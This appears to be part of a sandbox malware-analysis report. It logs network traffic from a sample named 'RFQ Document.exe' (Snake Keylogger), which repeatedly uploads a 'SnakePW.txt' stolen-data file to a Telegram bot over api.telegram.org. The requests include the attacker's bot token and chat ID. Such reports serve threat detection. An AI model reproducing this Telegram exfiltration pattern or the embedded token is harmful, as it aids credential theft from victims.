2021-09-28 05:59:45 UTC	451	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:45 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:45 UTC	451	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12872,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808785,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.4	50121	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:45 UTC	452	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f4afb74c Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:45 UTC	452	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 34 61 66 62 37 34 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f4afb74cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:46 UTC	453	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:46 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:46 UTC	453	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12873,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808786,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.4	50122	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:46 UTC	454	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f4c78f72 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:46 UTC	454	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 34 63 37 38 66 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f4c78f72Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:46 UTC	454	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:46 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:46 UTC	455	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12874,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808786,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.4	50123	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:46 UTC	455	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f4edb3a4 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:46 UTC	455	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 34 65 64 62 33 61 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f4edb3a4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:46 UTC	456	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:46 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:46 UTC	456	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12875,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808786,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.4	50124	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:46 UTC	457	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f5032b33 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:46 UTC	457	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 35 30 33 32 62 33 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f5032b33Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:46 UTC	457	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:46 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:46 UTC	458	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12876,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808786,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.4	50125	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:46 UTC	458	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f51b008b Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:46 UTC	459	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 35 31 62 30 30 38 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f51b008bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:46 UTC	459	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:46 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:46 UTC	459	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12877,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808786,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.4	50126	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:46 UTC	460	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f539ff42 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:46 UTC	460	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 35 33 39 66 66 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f539ff42Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:46 UTC	461	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:46 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:46 UTC	461	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12878,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808786,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49803	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:26 UTC	46	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c5542ea6 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:26 UTC	46	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 35 35 34 32 65 61 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c5542ea6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:26 UTC	46	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:26 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:26 UTC	47	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 36 2c 22 64 Data Ascii: 